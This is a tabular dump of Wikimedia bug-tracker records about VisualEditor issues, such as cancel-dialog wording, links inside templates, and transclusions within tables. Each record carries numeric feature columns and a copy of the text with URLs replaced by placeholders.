245615,VisualEditor: Provide some way of opening external links within templates,*** Bug 66549 has been marked as a duplicate of this bug. ***,,,1402688065,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-cc3yxgxiksoojspiwoxm,task_subcomment,,True,c1,3,True,,,49,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 66549 has been marked as a duplicate of this bug. ***
245610,VisualEditor: Provide some way of opening external links within templates,"This affects more than just templates.  You can't click to open any internal or external link that is located inside any ""node"" (galleries, image captions, <references />).",,,1395856047,,PHID-USER-uf3buojo4ceizjywvyn5,True,,,PHID-TASK-cc3yxgxiksoojspiwoxm,task_subcomment,,True,c1,3,False,,,38,,5.0,0.0,0.0,3.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,15.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,5.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,8.0,0.0,0.0,5.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,3.7435897435897436,0.8974358974358975,"This affects more than just templates.  You can't click to open any internal or external link that is located inside any ""node"" (galleries, image captions, <references />)."
52955,VisualEditor: Clearer message when cancelling out of active edit,"An English Wikipedia user requests clarification of the ""cancel"" process, saying:

""If you open a page in the VisualEditor, make a few changes, and then decide to hit the ""Cancel"" button, you get a message that says ""Are you sure you want to go back to view mode without saving first?"". The options are ""OK"" and ""Cancel"", which aren't really proper answers to this yes/no question. As such, I'd like to request that instead the buttons be replaced with ""Yes"" and ""No"", which are clear responses to the question. -Thunderforge (talk) 21:36, 6 July 2013 (UTC)""

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1373301660,1400137934.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-vwwslgbmh4ftbegrc3zg,task_description,resolved,True,c1,3,False,False,False,1,,0.5,0.0,0.0,0.5,0.5,4.0,0.5,0.0,0.0,0.5,2.0,1.5,0.0,0.0,0.0,0.5,0.0,3.5,7.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,5.5,0.5,0.0,1.0,2.0,0.0,1.5,0.5,1.5,0.5,0.0,0.0,4.5,0.0,0.0,0.0,0.5,0.5,8.5,0.0,0.5,1.5,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,5.5,3.0,10.5,1.0,1.5,8.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,2.5,7.5,4.0,0.5,9.0,0.0,2.5,0.0,2.0,2.0,0.0,1.0,0.0,0.0,0.0,3.5592105263157894,0.6776315789473684,"An English Wikipedia user requests clarification of the ""cancel"" process, saying:

""If you open a page in the VisualEditor, make a few changes, and then decide to hit the ""Cancel"" button, you get a message that says ""Are you sure you want to go back to view mode without saving first?"". The options are ""OK"" and ""Cancel"", which aren't really proper answers to this yes/no question. As such, I'd like to request that instead the buttons be replaced with ""Yes"" and ""No"", which are clear responses to the question. -Thunderforge (talk) 21:36, 6 July 2013 (UTC)""

--------------------------
**Version**: unspecified
**Severity**: enhancement"
245010,VisualEditor: Clearer message when cancelling out of active edit,"Change 130394 merged by jenkins-bot:
Swap from using native confirm() to using an OOUI dialog when cancelling

https://gerrit.wikimedia.org/r/130394",,,1400108562,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-vwwslgbmh4ftbegrc3zg,task_subcomment,,True,c1,3,False,,,45,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,16.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,12.0,0.0,0.0,0.0,4.24,0.96,"Change 130394 merged by jenkins-bot:
Swap from using native confirm() to using an OOUI dialog when cancelling

GERRIT_URL"
245004,VisualEditor: Clearer message when cancelling out of active edit,"Change 132316 merged by jenkins-bot:
Update OOjs UI to v0.1.0-pre (80f1797a5c)

https://gerrit.wikimedia.org/r/132316",,,1400103345,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-vwwslgbmh4ftbegrc3zg,task_subcomment,,True,c1,3,False,,,45,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,10.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,0.9523809523809523,"Change 132316 merged by jenkins-bot:
Update OOjs UI to v0.1.0-pre (80f1797a5c)

GERRIT_URL"
244998,VisualEditor: Clearer message when cancelling out of active edit,"Change 132318 merged by jenkins-bot:
Update OOjs UI to v0.1.0-pre (80f1797a5c)

https://gerrit.wikimedia.org/r/132318",,,1400102698,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-vwwslgbmh4ftbegrc3zg,task_subcomment,,True,c1,3,False,,,45,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,0.9523809523809523,"Change 132318 merged by jenkins-bot:
Update OOjs UI to v0.1.0-pre (80f1797a5c)

GERRIT_URL"
244991,VisualEditor: Clearer message when cancelling out of active edit,"Change 132113 merged by jenkins-bot:
Add confirmation dialog

https://gerrit.wikimedia.org/r/132113",,,1400087288,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-vwwslgbmh4ftbegrc3zg,task_subcomment,,True,c1,3,False,,,45,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.714285714285714,1.0,"Change 132113 merged by jenkins-bot:
Add confirmation dialog

GERRIT_URL"
244982,VisualEditor: Clearer message when cancelling out of active edit,"Change 132318 had a related patch set uploaded by Alex Monk:
Register OOUI confirmation dialog with windowFactory

https://gerrit.wikimedia.org/r/132318",,,1399588039,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-vwwslgbmh4ftbegrc3zg,task_subcomment,,True,c1,3,False,,,44,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,29.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.238095238095238,1.0,"Change 132318 had a related patch set uploaded by Alex Monk:
Register OOUI confirmation dialog with windowFactory

GERRIT_URL"
244972,VisualEditor: Clearer message when cancelling out of active edit,"Change 132316 had a related patch set uploaded by Alex Monk:
Add confirmation dialog messages to MW core

https://gerrit.wikimedia.org/r/132316",,,1399587267,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-vwwslgbmh4ftbegrc3zg,task_subcomment,,True,c1,3,False,,,44,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,27.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.545454545454546,1.0,"Change 132316 had a related patch set uploaded by Alex Monk:
Add confirmation dialog messages to MW core

GERRIT_URL"
244963,VisualEditor: Clearer message when cancelling out of active edit,"Change 132113 had a related patch set uploaded by Alex Monk:
Add confirmation dialog

https://gerrit.wikimedia.org/r/132113",,,1399497998,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-vwwslgbmh4ftbegrc3zg,task_subcomment,,True,c1,3,False,,,44,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,28.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,1.0,"Change 132113 had a related patch set uploaded by Alex Monk:
Add confirmation dialog

GERRIT_URL"
244958,VisualEditor: Clearer message when cancelling out of active edit,"Change 130394 had a related patch set uploaded by Alex Monk:
Swap from using native confirm() to using an OOUI dialog when cancelling

https://gerrit.wikimedia.org/r/130394",,,1398793970,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-vwwslgbmh4ftbegrc3zg,task_subcomment,,True,c1,3,False,,,43,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,21.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,10.0,0.0,0.0,0.0,4.275862068965517,0.9655172413793104,"Change 130394 had a related patch set uploaded by Alex Monk:
Swap from using native confirm() to using an OOUI dialog when cancelling

GERRIT_URL"
244954,VisualEditor: Clearer message when cancelling out of active edit,"**ignatzmice.wiki** wrote:

A user suggests [Return to editor] [Exit without saving]. https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&diff=567692036",,,1375976639,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-vwwslgbmh4ftbegrc3zg,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,3.4347826086956523,0.782608695652174,"**ignatzmice.wiki** wrote:

A user suggests [Return to editor] [Exit without saving]. URL"
244951,VisualEditor: Clearer message when cancelling out of active edit,"From bug 51655 comment 1:

| The confirmation dialog should have more descriptive buttons, such as
|   [Discard edits] [Continue editing]
| , or
|   [Leave editing mode] [Return to editing]
| , etc.
| 
| For this to happen, it needs to become a jQuery dialog.
| 
| In fact, VE shouldn't use native confirm() dialogs; the implementation in
| most browsers is crappy.",,,1374267990,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-vwwslgbmh4ftbegrc3zg,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,1.0,6.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,14.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,9.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,1.0,8.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,2.0,1.0,1.0,6.0,3.21875,0.625,"From bug 51655 comment 1:

| The confirmation dialog should have more descriptive buttons, such as
|   [Discard edits] [Continue editing]
| , or
|   [Leave editing mode] [Return to editing]
| , etc.
| 
| For this to happen, it needs to become a jQuery dialog.
| 
| In fact, VE shouldn't use native confirm() dialogs; the implementation in
| most browsers is crappy."
244946,VisualEditor: Clearer message when cancelling out of active edit,*** Bug 51655 has been marked as a duplicate of this bug. ***,,,1374267909,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-vwwslgbmh4ftbegrc3zg,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51655 has been marked as a duplicate of this bug. ***
244942,VisualEditor: Clearer message when cancelling out of active edit,"**ignatzmice.wiki** wrote:

See bug 51655, which should probably be closed as a duplicate. (On enwiki I'd say ""merge"".)",,,1374208197,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-vwwslgbmh4ftbegrc3zg,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,9.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,3.0,6.0,6.0,0.0,6.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.21875,0.84375,"**ignatzmice.wiki** wrote:

See bug 51655, which should probably be closed as a duplicate. (On enwiki I'd say ""merge"".)"
244938,VisualEditor: Clearer message when cancelling out of active edit,"Unfortunately we can't actually replace the ""OK"" and ""Cancel"" buttons' text - that's supplied by the browser as is unchangeable.

What we can do is tweak the message so it's clear what this does, perhaps. Any ideas what might work better?",,,1373519895,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-vwwslgbmh4ftbegrc3zg,task_subcomment,,True,c1,3,True,,,1,,2.0,0.0,0.0,0.0,2.0,6.0,4.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,4.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,4.0,9.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,4.0,2.0,9.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,3.685185185185185,0.8148148148148148,"Unfortunately we can't actually replace the ""OK"" and ""Cancel"" buttons' text - that's supplied by the browser as is unchangeable.

What we can do is tweak the message so it's clear what this does, perhaps. Any ideas what might work better?"
52951,VisualEditor: Handle transclusions within a table better,"**Author:** `adaml`

**Description:**
When editing a table which includes a transclusion as seen on http://test.wikipedia.org/wiki/TableRowTest it seems to copy the row and paste it before the start of the table. 

In the example above, edit the page and select one of the rows for transclusion and change parameter 1 to a different value, all seems to be good until you save the page which screws it up

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50589
https://bugzilla.wikimedia.org/show_bug.cgi?id=50607",Medium,50.0,1373299560,1404172723.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-h7tfqm7vbzcm7dpmeabg,task_description,resolved,True,c1,3,False,False,False,1,,1.0,0.0,0.0,0.0,0.0,2.5,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,5.0,1.5,2.0,0.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,4.5,0.0,1.0,0.0,0.0,0.0,11.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,6.0,1.0,8.5,0.5,2.0,8.0,0.0,0.0,0.0,0.0,3.5,0.0,1.5,0.0,3.0,8.0,2.0,0.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,0.5,0.0,0.0,0.0,3.550324675324675,0.675487012987013,"**Author:** CODE

**Description:**
When editing a table which includes a transclusion as seen on URL it seems to copy the row and paste it before the start of the table. 

In the example above, edit the page and select one of the rows for transclusion and change parameter 1 to a different value, all seems to be good until you save the page which screws it up

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL
URL"
244718,VisualEditor: Handle transclusions within a table better,The table will still be broken after an edit as Parsoid doesn't run with context yet.,,,1404212487,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-h7tfqm7vbzcm7dpmeabg,task_subcomment,,True,c1,3,True,,,52,,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,17.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.888888888888889,1.0,The table will still be broken after an edit as Parsoid doesn't run with context yet.
244715,VisualEditor: Handle transclusions within a table better,Fixed by gerrit 140439.,,,1404172723,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-h7tfqm7vbzcm7dpmeabg,task_subcomment,,True,c1,3,True,,,52,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Fixed by gerrit 140439.
244712,VisualEditor: Handle transclusions within a table better,This might be related to VisualEditor bug 50607 and foster-parenting.,,,1377030328,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-h7tfqm7vbzcm7dpmeabg,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.615384615384615,1.0,This might be related to VisualEditor bug 50607 and foster-parenting.
244709,VisualEditor: Handle transclusions within a table better,"Confirmed.  This is probably the same problem as bug 50589, but this is a nice simple case and might be easier to solve.",,,1374457884,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-h7tfqm7vbzcm7dpmeabg,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,15.0,11.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,7.0,0.0,7.0,15.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,3.6296296296296298,0.9259259259259259,"Confirmed.  This is probably the same problem as bug 50589, but this is a nice simple case and might be easier to solve."
52943,VisualEditor: Hyperlink tool obscures reference box when many options (CSS caching issue?),"An editor had an issue on English Wikipedia with the hyperlink tool when used within the reference editor.

Specifically, he formatted a reference manually and then used the hyperlink tool within the reference editor to provide an external link to the work. He found that many options were offered, to the point that the reference box was obscured by the list of possible links and he had to just guess where to paste the actual url. 

I reproduced this and took a screenshot. 

http://en.wikipedia.org/wiki/File:VisualEditor_Reference_issue.jpg

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1373294940,1552091050.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-bmll3l66rbyvzumaunet,task_description,resolved,True,c1,3,False,False,False,1,,0.5,0.0,0.0,1.5,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,8.5,0.0,2.5,0.0,0.0,0.0,6.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.5,1.0,0.0,1.0,0.0,0.5,13.5,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.5,1.0,8.5,1.5,6.0,3.0,2.5,9.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,3.0,8.5,2.5,0.0,0.0,0.0,3.0,0.0,1.5,3.0,0.0,0.0,0.0,0.0,0.0,4.249350649350649,0.6938311688311689,"An editor had an issue on English Wikipedia with the hyperlink tool when used within the reference editor.

Specifically, he formatted a reference manually and then used the hyperlink tool within the reference editor to provide an external link to the work. He found that many options were offered, to the point that the reference box was obscured by the list of possible links and he had to just guess where to paste the actual url. 

I reproduced this and took a screenshot. 

URL

--------------------------
**Version**: unspecified
**Severity**: normal"
